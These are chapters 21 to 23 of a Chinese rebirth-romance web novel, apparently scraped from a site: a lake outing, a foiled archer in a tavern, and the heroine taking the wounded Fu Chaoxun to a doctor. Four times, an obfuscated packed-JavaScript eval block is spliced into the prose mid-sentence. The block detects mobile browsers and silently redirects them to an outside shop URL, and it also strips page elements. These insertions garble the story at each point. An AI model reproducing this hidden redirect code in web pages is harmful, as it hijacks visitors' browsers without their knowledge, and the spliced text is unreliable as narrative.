夏枝回道:“没有,太医过去的时候他已经走了,听家里的医师说伤情一直没有好转,胸口还肿的厉害,脸也憔悴的不行,医师留他看太医,但他执意要走。” 傅朝寻是为了救叶元倾和温衍才受的伤,于情于理他们都不能怠慢了他,可是昨日温衍突然犯病,让大家乱了阵脚,竟把他疏忽了。 温衍垂首不言,虽然他也知道傅朝寻是为了他们才受的伤,但他心里很不是滋味,他不喜欢傅朝寻,很不喜欢,他宁愿当时受伤的人是他。 屋里安静了一会,叶宁见叶元倾神色不太好,安慰道:“姐姐别担心,我看傅朝寻身体强壮的很,又经常舞枪弄剑的,相信很快就能康复,亲王府皇亲国戚,家里的医师肯定比咱们的好,他回去了应该能够更好地治疗。” 叶卓去看叶元倾,见她忧心忡忡,一双好看的眼眸也随着她的情绪暗沉下来,他沉声道:“叶宁妹妹说的是,回头差人过去慰问慰问,别失了礼数。” 叶元倾点着头:“好,待会儿我就让太医过去看看。” 而后她又说:“你们先说话,我去找娘亲,让她安排午饭,今日大家都留在将军府里用饭。” 叶宁刚要拒绝,结果叶绍开心地应道:“好,我好久没有在将军府里用饭了,非常想念二婶的小花鱼。” 又来一个吃小花鱼的。 “可是。”叶宁小声说,“我今天还要见傅峥临。” 傅峥临昨日托人送信,说今日要来看她,还说要带她去玉湖划船,为了这事她期待了一整晚都没有睡好。 上次傅峥临在酒楼亲叶宁之事,叶卓憋了一肚子气,傅峥临表面正人君子,背地里却动手动脚,虽然他本性不坏又为人和善,但也不能还没有定婚就亲人家姑娘。 叶宁这丫头也没有一点自控能力,着实让人操心。 他走到叶宁跟前,对她道:“玉湖的风景傍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175387|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚才好看,你先留在将军府用饭,傍晚我陪你去见他。” 叶宁不想让他跟着,但是瞧着他严肃的样子,又怕他把上次的事情告诉父母,只好应道:“好,听二哥的。” “不如我们一起去。”叶绍突然提议,“我好久没有去玉湖逛逛了,元恒哥哥和元萧弟弟也在家中,大家趁此聚在一起好好玩玩。” 叶宁不想答应,那是她和傅峥临的单独幽会呀!她才不要带这么多人过去。 可惜还未等她拒绝,叶元恒就出现在了门前,然后三两句就把这事敲定了,还让管家去准备烟花和灯笼,准备到玉湖开一场烟花会。 叶元倾出房找到赵太医,请求赵太医去亲王府里走一趟,赵太医很热情地答应了,只是到了亲王府以后连大门都未进去,亲王妃让人告诉他,说亲王府戒备森严,旁人不得入内,就算是太医也不行。 太医回来告诉叶元倾,叶元倾担忧的连午饭都没有吃好,亲王府一家人貌合神离,王爷和王妃又是个偏心的,她真怕没有人给傅朝寻治病,让他硬生生地熬过去。 傍晚的时候,傅朝寻被父亲叫到书房,父亲傅柏弘瞧着他憔悴的模样,冷声问:“怎么搞成了这幅样子?过几日你就要跟你大哥去禹国见公主,千万别出了岔子。” 傅朝寻直挺挺地垂首站着,忍着喉苦涩,回道:“父亲莫要担心,孩儿并无大碍,不会耽误去禹国。” 傅柏弘应了一声,掏出一个令牌递给他,交代道:“方才有人过来禀告,说太师府和将军府的几个公子去玉湖游玩,你过去盯着,玉湖离叶卓负责的码头比较近,看看能不能从中查出点什么。” 他说罢,冷笑一声,又道:“叶家这几个儿郎被他们父亲培养的一身正气,个个都优秀的很,去年叶元萧进了兵部以后就开始暗地里为他父亲壮大势力,叶家势力扩大定会对我们有一些影响,虽然皇上准备削弱太后娘家的势力,但是依叶家的实力定会想办法瞥得干干净净。” 他走回桌前坐下,接着道:“虽是如此,但是温家必会受到一些牵连,如今温家只出温衍一个有气候的,时下温衍虽不足以构成威胁,但我听你大哥说,他和太子关系甚好,我们又不能不防,毕竟太子是在太后膝下长大的,我们万事都要考虑周全,必要的时候,你去除掉温衍。” 除掉温衍。 前世父亲也这般交代过,那时候他和叶元倾还不认识,只听说过她的名字,当时他潜伏到温衍家中,却见她和温衍正坐在桌前练字。 屋中二人眉目传情,谈笑风生。 他看着看着莫名地心烦,收起将要甩出去的飞镖,回了亲王府。 后来,他也不知道怎么回事,哪怕父亲一再下令,他都没有去杀温衍。 这次他的心情好像更加复杂了。 父亲又交代了几句就让他出去了。 出门以后,碰巧在院中看到了王妃和傅峥临。 王妃一遍遍地打量着穿着得体锦衣玉带的傅峥临,满面温柔地说:“娘若是知道你今晚要见叶宁姑娘,就早些让裁缝给你做几身新衣服了,虽然这身也好看,终归不是最新的。你见到她一定要好好表现,我给她准备了一些礼品,你待会别忘记带上。” “好的娘。”傅峥临连连点头,享受着母亲的关怀,笑得比春风还要暖。 母慈子孝,最是戳人心。 卫知往那边看了一眼,急忙跟上傅朝寻的脚步,笑说:“公子,天冷了,卫知前两天给您订做了几身衣裳,一会我们去玉湖的时候,挑一身最好看的穿上。” 他看了看公子的脸色,又说:“可能元倾姑娘也会去,到时候公子找机会与她说说话。” 21. 第 21 章 玉湖坐落在京城的北街方向,是京城里最大的一片湖,湖水清澈如玉,周围风景优美无比,傍晚时分,摇着小船在湖面上,可以清晰地看到日落时的唯美景象,尤其日落之后,一大片余晖落入湖中,可以映照出碧玉霞光的奇特美景。 玉湖除了景美,周围建筑也别具一格,楼阁雕梁画栋,古色古香。 刚接近傍晚时分,玉湖街头就已一片热闹,小贩们的吆喝声此起彼伏,街边的店铺琳琅满目,人们三三两两地漫步,时而在首饰摊前驻足挑选,路边的小吃摊散发着诱人的香气,馄饨、包子、糕饼、糖人等等各具特色的美食应接不暇。 几辆富丽堂皇的马车停在街头,几位衣着华丽的公子小姐从马车上下来,他们个个英俊漂亮,气质不凡,一看就是富人家的孩子。 “我要这个,这个,这个,还要这个。”刚跳下马车的叶宁跑到街边一阵购买,买的太多拿不下就开始叫叶绍,“三哥哥你快来,帮我拿着,我拿不了。” 叶绍一看又是苦差事,急忙摆手道:“我才不要帮你拿,凭什么这种出力的活你只找我,你怎么不找大哥二哥?” 今日大哥照顾发热的孩子没有跟来,叶宁见三哥不帮忙,只好去喊叶卓:“二哥哥,你来帮我拿。” 叶卓无奈地摇摇头,走上前,掏出一定银子递给店家,让店家帮她打包好,又在旁边买了三串糖葫芦。 他先给了叶宁一串,又给了邱盈一串,最后走到叶元倾跟前,笑说:“妹妹,你小时候最爱吃这上面的蜜糖,这一串上面的蜜糖最多,给你吃。” 叶元倾接过来,开心地笑道:“多谢卓哥哥。” 她看了看,果然上面的蜜糖特别多,她咬了一口,酸酸甜甜的太好吃了。 她好像很多年都没有吃糖葫芦了。 叶卓见她吃得开心,眉眼都笑开了。 温衍从下车以后就开始沉默不语,好似心情不佳,叶元恒问他是不是不舒服,他只是摇头。 几人到了玉湖边上,傅峥临已经到了,他给大家一一行礼,然后要了一艘比较大的游船请大家上去。 船上布置优雅,摆满了上好的茶水和点心,还点了一炷淡雅的香。 叶宁不好意思地把他扯到一旁,小声说:“峥临哥哥对不起,我不是故意带他们来的,你别生气。” 傅峥临瞧着她紧张的模样,抓起她的手,笑说:“哥哥怎么会生气,人多了热闹,改日我再单独约你。” 叶宁连连点头,小手被他紧紧地抓着,脸颊不由地红了。 叶元倾独自一个人来到船尾,抬头看着不远处的一座酒楼,楼檐上挂着的灯笼已经亮了,在微风中轻轻摇晃着。 她的视线在酒楼各个方向巡视一圈,最后落在了三楼的一扇窗户上,眯眼看了一会,什么也看不清,她又抬头看了看天色,开始在心中计算时间。 “妹妹怎么一个人站在这里?”身后突然响起叶卓的声音。 叶元倾转过身来,对上他好奇的目光,她敛了一下神色,回道:“我想在这里吹一会儿风。” 叶卓走到她跟前望着她鬓边吹起的秀发,关心道:“小心着凉了,大家都在对诗,妹妹要不要过去瞧瞧?” 他见她微拢秀眉,定是又有了心事。 “不用了,我在这里站一会。”她说着,走近他,小声说:“卓哥哥,开始放烟花的时候你进船仓里去,等烟花结束了你再出来。” 她突然如此说,让他不禁皱了一下眉头,往她身后不远处的酒楼望了一眼,默了片刻,低声问:“妹妹觉得有危险?” 叶卓心思敏捷又极会察言观色,即便叶元倾已经表现的足够淡定,但他依然能够一眼判断出来。 叶元倾觉得事情复杂,不便与他多说,便道:“卓哥哥听我的便是,回去以后我再与你解释。” 叶卓审视了她片刻,又往酒楼方向看了一眼,点头应下。 二人在船尾站了一会,叶元倾不说话,叶卓也不做声。 游船缓缓往前行驶,叶元倾望着湖边人们放的许愿灯,不禁想起了一些往事,她无声地叹息,再抬起头来,却瞥见了一道熟悉的身影。 他身穿黑色,长身玉立,胸前环抱着一把佩剑,笔挺地站在人群中往这边看来。 她心里猛地一激动,熟悉的场景突然闪现在眼前,记得前世玉湖动乱的时候,周围死了不少无辜百姓,那时候她被大哥二哥护着匆匆逃跑,在慌乱之中她被他撞倒在地,他伸手把她拉起,只说了一声“对不起”就匆匆跑开了。 当时她问大哥此人是谁?大哥说是亲王府的傅朝寻,过来抓人的。 如今旧事即将重演,时下他应该与她是同样的心情。 只是他现在还受着伤。 她与他远远地相望着,朦朦胧胧中,他就像一个虚幻的人,好看的和周围一切那么格格不入。 她牵引着他的目光往酒楼方向望了一眼,他立即懂了她的意思,跟随她的目光望去,然后伸手指了指船舱的位置,示意她进船舱里去。 她没有回应,又把目光落在他的胸口上,他又瞬间懂了她的意思,摇了摇头,表示自己没事。 游船越走越远,叶元倾与他的距离越来越远,渐渐地也分辨不出他的样子。 湖边围了很多人,大家都看着西边方向,落日半浮湖面,映得湖天一片橙红。 叶元倾和叶卓去了船头,大家正看着美轮美奂的景色赞不绝口。 叶元恒已经安排好小厮在湖边的各个地区放置好烟花,只要日光落下,就开始点燃。 前世叶元倾曾问过叶元恒,为何要如此招摇地放那么多烟花,当时他只说:“引蛇出洞。” 她作为一个不问世事的女儿家,那时并未理解大哥这句话的意思,如今重活一世,她总算明白了,他们悲惨的结局或许就是从这里开始的。 那个想置他们于死地的人就在酒楼里。 落日渐失,为了看到更好的烟花景象,游船开始掉头往酒楼方向驶去。 此时街上喧闹声不断,而酒楼一间客房里却安静的出奇。 下人们弯身侯着,目光时不时地望向坐在窗前的男子身上,见他沉默不语,均不敢发出一丁点声响。 用金线钩织在月白色锦衣上的金鹤图文,在橙光的照耀下精致的栩栩如生。 他墨发如瀑,气质高雅清冷,尊贵的如同仙人一样。 “阿良,把我的箭拿来。”冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183446|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷清清的嗓音响起,惊得屋中一众人急忙警觉起来。 被叫做阿良的男子应了一声,跑到桌前拿起弓箭交于男子手中。 男子侧目瞥了他一眼,他又急忙掏出一条洁白的帕子递给他。 男子把弓箭仔仔细细地擦了一遍,放上箭矢,眯眼望着游船的方向,寻找着第一个目标。 船头上站着几个光鲜亮丽的男女,他们围在一起有说有笑,在他们眼里,似乎世间的一切都那么美好,但是,在他眼里,这些人就是他待捕的猎物,只要他手一松,箭矢就能“嗖”的一声穿透他们的胸膛。 他先是把箭头瞄准在船头蹦蹦跳跳的黄衣少女,又把箭头移到蓝衣公子身上,最后才把箭头移到叶元倾身上。 箭头对准她的胸口,他开始一点点拉弓,弓拉满以后,只要他一松手,她就能死在他的眼前,只是,他自顾自地说:“她太完美了,下不了手。” 他冷笑着,转了一下方向,又把箭头对准了她一旁的青衣男子身上,沉声道:“不如先解决了这个外族的,每次看到他都觉得碍眼,真把自己当叶家少爷了。” 话音落下,还未等他松手,就见那青衣公子突然钻进了船舱里,他蓦地停住手,皱了一下眉头,还未找到下一个目标,突然“嗖”的一声响,一把飞镖狠狠地刺进了他旁边的窗牖上。 他惊得瞪了一下眼,往湖边方向望去,只见黑衣如墨的傅朝寻正目光冷然地向这边望来。 一瞬间,熟悉的冷漠气息似乎近在咫尺,他急忙往后退了一步,然后冷笑道:“真是越来越有意思,又来一个不自量力的东西。” 他说罢,丢下弓箭向酒楼的暗道走去,嘴里嘀咕着:“多管闲事,真扫兴。” “砰!”烟花四起,瞬间点亮了整片夜空。 游船缓缓停靠在岸,一群人下了船。 叶宁刚一下船就被傅峥临拉着消失在了人群中。 叶元倾停在路边,四下望去,在人群中找到了那抹熟悉的身影。 此时他正倚在大树下,安静地看着她。 她见他安然无恙,终是松了口气,方才看到飞镖飞向酒楼的那一刻,她真的怕动乱再次发生。 还好,动乱不仅杜绝了,叶卓也没有中箭受伤。 树叶在风中飘落,夜色越来越浓。 卫知见傅朝寻站着不动,焦急地提醒他:“公子别傻站着了,快过去搭讪呀!你再站一会人就走了。” 卫知从方才就发现叶元倾一直盯着傅朝寻看,那个眼神不像看着一个陌生人,说不定她也对公子有意思呢! 傅朝寻缓过神来,把剑递给他,动身向叶元倾走去。 叶元倾见他过来,不自觉地放慢了一些脚步。 “妹妹!”这时,叶卓拿着一个糖人过来,笑说:“我记得你也爱吃这个,你看这个图案多漂亮,店家真是巧夺天工,竟把牛郎织女做的如此栩栩如生。” “多谢卓哥哥。”叶元倾心不在焉地接过来道了一声谢。 “妹妹不必客气,他们几个都去看皮影戏了,我陪妹妹走一会。” 叶元倾点点头,跟着叶卓往前走。 人群中,她听到傅朝寻在身后叫她:“叶元倾!” 22. 第 22 章 同样的声音,不同的语气,听起来会有不一样的心情。 叶元倾停下脚步,慢慢转过身来,望着停在不远处长身玉立的傅朝寻,透过熙熙攘攘的人群,望进他那双渐渐清明的眼睛里,好似探寻到了与以往不一样的东西。 她冲他微微颔首,轻声问:“傅公子找我何事?” 这一次她没有叫他傅大人。 他见她愿意停下来回应他,放松了一些,走到她跟前,低声说:“有些事情我需要与你聊聊,你随我来。” 他话音落下,突然“砰”的一声响,一朵烟花飞入夜空,绽放出大一片绚丽光彩。 叶元倾没有立即回答他,抬头望着昙花一现的美丽景象,开始思索要不要跟他走,她猜,他找她一定是说酒楼的事情,酒楼里藏着要害他们的人,或许他知道藏在酒楼里的人是谁,也或许与他有一些关系,不然,为何他只是稍微出手就能阻止一场动乱。 前世这场动乱惊动了整个京城,死了很多人,叶卓也中箭受伤险些丢掉性命。 皇帝为此龙颜大怒,下令让大理寺严格彻查,可惜大理寺查了很久都未查明。 半年后此事不了了之。 伯父为了给叶卓讨要一个公道,多次上奏折请求皇帝继续彻查,然而皇帝已经转变了态度,几句话就敷衍了过去。 叶卓受伤以后,京北码头便交由叶绍管理,然而叶绍能力不济,短短仨月就丢掉了掌管码头的权利。 叶卓得知后郁郁寡欢,加之受伤严重,身体越来越差,原本可以进翰林院的他,最终都没能进去。 半年后,温衍顺利进入了翰林院。 那时,自京北码头丢势以后,太师府的权势也开始一落千丈,再加上一些官员们的集体打压,太师府而后的几年举步维艰,若不是将军府极力帮衬,可能伯父连太师的职位都保不住。 现在想想,一切的一切都有迹可循。 烟花开的太过灿烂,叶元倾出了一会神,然后再去看傅朝寻,只见他正安静地等着她,面上没有焦急和不悦。 一旁的叶卓微拢了眉头,问傅朝寻:“傅公子要查案吗?” 最近总是遇到他,叶卓开始怀疑他们是真的有缘还是他故意接近。 傅朝寻这次对他不如以前那么冷漠,清声回道:“我今日不查案,只找元倾。” 元倾? 他怎么可以这样叫她? 叶卓冷了脸,想要替叶元倾拒绝,结果叶元倾却道:“傅公子找我定是有重要事情,卓哥哥你先去找他们几个玩,待会儿我再去找你们。” “妹妹!”叶卓不放心把她一个人丢给傅朝寻,“街上人杂,你一个人不安全,况且……” 叶卓的担心不无道理,毕竟在他的印象里,傅朝寻不是一个特别友善的人。 “卓哥哥别担心,我一会就回来。”叶元倾打断他后面要说的话,转了身就走。 “妹……”叶卓无力阻止,只好道:“妹妹主意安全,哥哥在原地等你。” 他又看向傅朝寻,沉声道:“待会还请傅公子把她安然无恙地送回来。” 傅朝寻知晓叶卓在担心什么,应了一声跟上了叶元倾的脚步。 两个人一前一后地往前走着,一直都未开口。 街上人多,叶元倾走走停停,偶尔会抬头看看夜空的烟花。 他们路过一条胡同口,傅朝寻扯了一下她的衣袖,她停了一瞬,而后转进了胡同里。 这条胡同又窄又长,两旁是非常古老的建筑,青石板上还长有很多青苔。 这里很少有人路过,路两旁也没有掌灯。 黑漆漆的。 叶元倾走了一会停了下来,傅朝寻也跟着她停下。 狭窄昏暗的空间里,他们都能听到彼此的呼吸声。 夜里凉凉的,呼出的气息是温热的。 他站在他身后,气息落在她的脖子上,让情不自禁地伸手摸了摸。 她冷静着,没有转身看他,只是说:“今日之事你应该察觉到了什么,是不是已经知晓想要动手的人是谁?前世叶家就是从玉湖动乱开始有了变化,而后一系列的事情发生,最后导致叶家被满门抄斩。” 前世叶家被满门抄斩? 傅朝寻听后极其震惊,所以,她是被人砍了脑袋去世的? “元倾!”他有些心疼地叫她。 周围很黑,只有烟花升起时才有一点光亮。 叶元倾转过身来,看着他模糊不清的脸颊,又接着道:“傅朝寻,现在我也没有必要继续隐瞒你,你告诉我今日酒楼里的人是谁,这对我来说很重要,来玉湖之前我让人去酒楼查过,但是酒楼被封了,连门都进不去,所以,你能否告诉我那人到底是谁。” 她终于承认了。 他听着她焦急的语气,既激动又心疼,思忖了一会低声回道:“今日之事可能只是巧合,我在湖边得到你的消息之后,就往酒楼里甩了一个飞镖试探,结果什么也没有试探到。” 没有试探到? “当真?”叶元倾有点不相信,但是又觉得他没有必要骗她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196235|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你若是想知道是谁,我可以帮你去查,查到了我会告诉你,不过……”他向她走近一步,“在这之前,你是不是要仔细与我说说,我去世后都发生了什么?” 他很想知道她那时都遭遇了什么,更想知晓到底是谁这般加害他们。 叶元倾见他靠近,往后退了一步,回道:“如今你我都有了新的生活,有些事情没必要知道,知道了只会影响心情。若是你真的愿意帮助我,我会感激不尽,你若是有难言之隐不愿意相告,我也不会怪你。” 不愿意相告,她还是不信他方才说的话。 她又往胡同口看了一眼,接着说:“以后,见了我就当做不认识便好,我不会去打扰你的生活,也希望你不要来打扰我,该说的我都说了,我先走了。” 她总是把话说完不等他回应就要走。 他伸手去拦住她:“再站一会。” 她哪有心情陪他在这里站着,周围黑布隆冬的。 她虽然不愿,但是一双脚就像被钉了钉子一样,傻乎乎地在原地陪着他默不作声地站了一会。 因为离得近,她能够清楚地听到他略微急促的呼吸声,他的手臂还在她身前拦着,一直不收回去也不知道是什么意思。 天黑风凉,她按压不住从方才就想问的话,轻声问他:“胸口还疼吗?怎么不在府上休息?” 他动了动僵在半空的手,低声回道:“疼。” “看大夫了吗?” “没有。” “这附近有医馆,过去看看。” “好。” 黑漆漆的胡同里,两个人又开始一前一后地往回走。 快走到路口时,他突然叫住她:“我有点饿,看了大夫以后可不可以去吃饭?” 卫知说,先找机会约她吃一顿饭。 叶元倾继续往前走着,没有回答。 他不知道她是答应了,还是没答应。 二人出了胡同,叶元倾带着他来到医馆,这间医馆在街道最东头,周围游客不多,医馆里也很安静。 大夫看了看站在门前的俊男靓女,嘿嘿一笑,问:“两位谁要看病?” 叶元倾指了指傅朝寻。 大夫点点头,招待他们进去,让傅朝寻坐下来,准备帮他查看伤情。 叶元倾见大夫要脱他的衣服,急忙背身过去。 结果大夫突然叫她:“小娘子你过来,我去净手,你来帮你夫君脱衣服,外衣里衣都脱掉,束带也要解开,你先看看他腰部和臀部有没有受伤。” 嗯??? 23. 第 23 章 房间里突然出奇地安静,大夫出门去净手。 叶元倾愣在原地,抬眼看了一眼傅朝寻,只见他正直直地看着她,耳朵红的跟个柿子似的。 他怎么还能在害羞的时候这样直勾勾地看人呢! 叶元倾感觉脸颊滚烫,垂首不再看他,也不打算去给他脱衣服。 房间里的气氛有了微妙变化。 傅朝寻僵挺地坐着,看着她垂首泛红的脸颊,不自觉地冒出一句:“以前不是都看过了吗?” 前世成婚七年,虽然而后的几年很少睡在一起,但是前面的几年只要他回府,还是会与她相拥而欢的。 他身上每一处地方,她应该早就看得清清楚楚,时下相处起来虽有隔阂,但是也不能完全否认了曾经在一起的快乐,起码那时候她挺喜欢的,每次之后都会趴在他身上缓着气,然后叫着他夫君。 后来,夫君也不叫了,连名带姓地叫了他好几年,还总会时不时地威胁他,说若是他再一声不响地消失,她就与他和离。 可是直到死,她也没有离开那个家。 他不是一个多自信的人,也知道自己有很多不讨好的地方,更知道她的心并不是在他身上,但是他总觉得,他们能够坚持做七年的夫妻,总是有一些他们都未察觉的东西在的。 是世俗的束缚?是相处久的亲情?是离不开彼此的依赖? 还是都未察觉的爱情? 他的这句话让房间的气氛变得更为尴尬。 叶元倾紧张地咳嗽一声:“你别胡说八道。” 然后嘀咕道:“现在我才十七岁,我们没有任何关系。” 她好像很想摆脱他,很想摆脱掉他们以前的夫妻关系。 他瞧着她红透的脸颊轻笑一声,没再说话,开始脱衣服。 她有些慌乱地往外走,却迎面撞上进来的大夫。 大夫叫住她:“小娘子莫要走,你家夫君受伤这么严重,你要好生陪着他,如此才有助于缓解病者心情。” 叶元倾愣了愣,那谁来缓解她的心情啊! 她被大夫扯到傅朝寻跟前站着,傅朝寻还在慢悠悠地脱衣服。 大夫瞧着他忍痛的样子,轻叹了口气,也不知是何意思。 傅朝寻伤的确实严重,大夫看着他“呀”了一声,皱眉问道:“怎么回事?怎么伤的这么严重?” 说着又去看叶元倾,语气里颇有几分指责的意思:“小娘子心真大,夫君都伤成这样了也不尽快带他治疗,作为娘子,应该时刻观察着夫君的伤情,他是与你同甘共苦的人,你要上点心呀!” 大夫说罢连连叹息,很是心疼傅朝寻。 叶元倾无辜地张了张口,莫名其妙地被教训了一顿。 这大夫很有意思,拿来酒精帮傅朝寻擦着胸口,嘴里还说着:“像你们这般大的小夫妻老夫见多了,以前去乡下义诊的时候,曾遇到过一对夫妻。这对夫妻郎才女貌,看起来极其般配,只是年龄尚小,不懂得如何相处,男儿郎为了养家糊口经常做一些出力的活计,身上烙下了不少伤病,他为了省银子也不去看大夫,最后积劳成灾,病倒在床。听说他那个娘子是被逼着嫁过去的,原先有了喜欢的人,两个人心有隔阂,夫君病倒她也只会偷偷地抹泪,到了夫君面前又表现的极其冷漠。” 大夫叹着气:“两个人明明有意思,却都装作不知,把日子过得冷冷清清。可能年纪小,领悟不够,不知道要如何过夫妻生活,最后落到夫君死了,那娘子才从那点别扭中走出来,然后趴在夫君坟头哭的肝肠寸断,又一声声说着那些以前说不出口的情爱话。” “人活一世,相识就是缘分,聚在一起就是福分,双方要坦诚相见才能过得轻松,处的长久。你们这些年轻人不懂,等到了我这个年纪就明白了。” 大夫五十多岁,性情随和,一双清明的眼睛似乎参透了人生,说起话来也多有教育的意味。 可能见惯了各种各样的男男女女,甫一见到他们就猜出了他们的关系和相处方式,便忍不住多说了几句。 忠言逆耳利于行,叶元倾和傅朝寻虽然不知大夫为何莫名其妙说这些话,但是都安静地听着,心里也开始仔细推敲话中的道理。 大夫虽是话多,但是看病却很仔细,他把傅朝寻身体的每个部位都检查了一遍,还拉着叶元倾指着他胸口上那片紫红唏嘘着说:“你看看都成什么样子了,小娘子上点心吧!多关心关心你家夫君。” 这事确实是她疏忽了,昨晚她不该就那样把傅朝寻丢下,今日连他走了都不知道。 大夫给傅朝寻上了药,还贴了很多膏药,又给他抓了好几包汤药,嘱咐他每两日过来换一次药。 二人给大夫道了别,并排往前走着,路过一家餐馆,进去吃了一顿饭。 叶元倾点了几个菜,菜上来以后,傅朝寻发现每一样都是他爱吃的。 叶元倾吃饭的时候不爱讲话,以前他们在一起吃饭,安静的只有筷子碰碗的声音。 傅朝寻有些话要说,见她安静的吃着,也没有说出口。 吃了饭以后他们又并排走着,此时夜已深,烟花也停了,夜空中闪着几颗星星。 她不说话,他也不出声,两个人走在一起,就像两个刚认识的陌生人。 以前也是如此,前世七年里他们都未曾逛过一次街,即便一起出行,也都默不作声。 现在……也一样。 因为一样,所以她就不会有任何期望,哪怕听了大夫那些让她可以反复回味的话,她也不抱有任何期望。 路过一个卖饰品的摊位时,傅朝寻停了下来,伸手就要去拿架子上红红绿绿的发簪,叶元倾见此一把拉住了他,低声说:“别买,不好看,去年的款式了,俗气的很。” 他的眼光好像有问题,买的首饰一直都很俗气。 他闻言愣了愣,以前他送了那么多,她全都接受了,怎么会不好看呢? 叶元倾相似能洞察他的心思,叹口气道:“接受不代表就是喜欢,只是不好意思拒绝罢了。” 不好意思拒绝。 原来她不喜欢。 他送了那么多她都不喜欢。 叶元倾见他呆愣住,路灯投来的光落在她的脸上,连露出的笑容都是苦涩的。 她继续向前走,他急忙追上她,看着她落寞的神色,感觉曾经那一点点希冀也在此刻破碎了。 原来前世他什么也未拥有过,连相送的东西她都未曾喜欢过。 手中的药沉沉的,迈开的步子也是沉沉的。 两个人又默默走了很久,也不知道在走什么,不说话也不分开,就只是感受着彼此的气息,漫无目的的走着。 走到路岔口的时,撞上了不远处的叶元恒和叶元萧。 兄弟俩看到并排而行的他们,愣在原地久久都未反应过来。 “我没有看错吧!”叶元恒撞了撞叶元萧的肩膀。 “你没有看错,就是咱们的妹妹和傅朝寻。”叶元萧也撞了撞他们的肩膀,既震惊又兴奋。 叶元倾看到两位哥哥,蓦地停住脚步,转过身就想跑开。 “元倾你站住。”叶元恒立即大喊一声。 叶元倾心道不好,还想再跑,结果被傅朝寻一把抓住了胳膊。 叶元恒和叶元萧三步并一步地走到他们跟前,叶元恒瞪着眼睛神情不断变换,最后憋出一句:“大晚上的……” 叶元萧看了看傅朝寻抓叶元倾的手,不由地“嘶”了一声。 傅朝寻连忙给二人行礼:“大哥二哥好!” 大……大哥?二哥? 兄弟俩同时瞪大了眼睛。 上次傅朝寻叫叶元恒大哥他还纳闷了很久,孰料他又叫哥,这是打算硬上吗? “你你你……”叶元恒指着他一时语塞。 “你怎么和我妹妹在一起?”叶元萧不可思议地问他。 面对激动的兄弟二人,傅朝寻显得十分淡定,他又给兄弟二人颔首一礼,回道:“方才我约元倾在胡同里说了一会话,她带我看了大夫,我们又一起吃了饭,现在正……” 胡……同?大晚上的。 “你打住。”叶元恒立即打断他的话,原地走了两步,问:“所以,你们这是在偷偷幽会?你什么时候拐……你什么时候和我妹妹这么熟的?” 叶元恒感觉后院都着火了,他连气味都未闻到,一时间又惊又恼。 “我们……”傅朝寻准备回答,结果叶元倾抢话道:“我们不熟悉,方才在街上遇到了傅公子,见他伤情还未好转就带他去了医馆,因为饿了就坐下来吃了一顿饭,现在正准备去找你们。” “当真?”叶元萧有点不相信,目光落在傅朝寻的手上,然后把叶元倾扯到自己跟前。 叶元倾不擅长撒谎,垂首未再做声。 叶元恒见傅朝寻神情不明,思忖了一会道:“傅公子是因为元倾受伤,她带你去看医理所应当,只是天黑人杂,也希望你能理解一下我们兄长的心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“自立门户?”卫知大惊一声,急忙捂住了嘴巴。 —— 今日玉湖游玩很是顺利,大家都玩的很开心,直至亥时才各自回到家中。 回将军府的路上,叶元恒和叶元萧有意无意地提醒了很多次,希望叶元倾避着点傅朝寻,别再让他靠近。 叶元倾见两位哥哥为此事很是激动,安静地坐着,一句话也不说。 到了家中,叶元倾还未顾上洗漱,就被贴身丫鬟伶儿拉到闺房里关上了房门。 叶元倾瞧着她激动的神情,慌忙问:“怎么样?找到了吗?” 伶儿扶着她坐下,小声回道:“小姐,找到了,长得一模一样,只是年纪小了点。” 叶元倾一只手不自觉地抓紧了桌角,问她:“可是叫江不讳?” 伶儿点点头:“没错,叫江不讳,今年一十六岁,和温少爷差了三岁。” “差三岁。”叶元倾喃喃一声,道:“确实是差三岁,前世我们去世的时候,他才二十五岁。” 那时她二十六岁。 “小姐。”伶儿蹲下来,抓住她的手,温声道:“小姐真的这么早就把他找来吗?其实前世姑爷一直都知道他的存在,虽然姑爷睁一只眼闭一只眼,但他心里肯定是有气的,这一世你再把他找来,姑爷知道了怎么办?” 伶儿自幼跟随叶元倾,前世叶家满门抄斩的时候她也上了断头台。也许老天可怜她们这对姐妹,也让她重生回来继续陪着叶元倾。 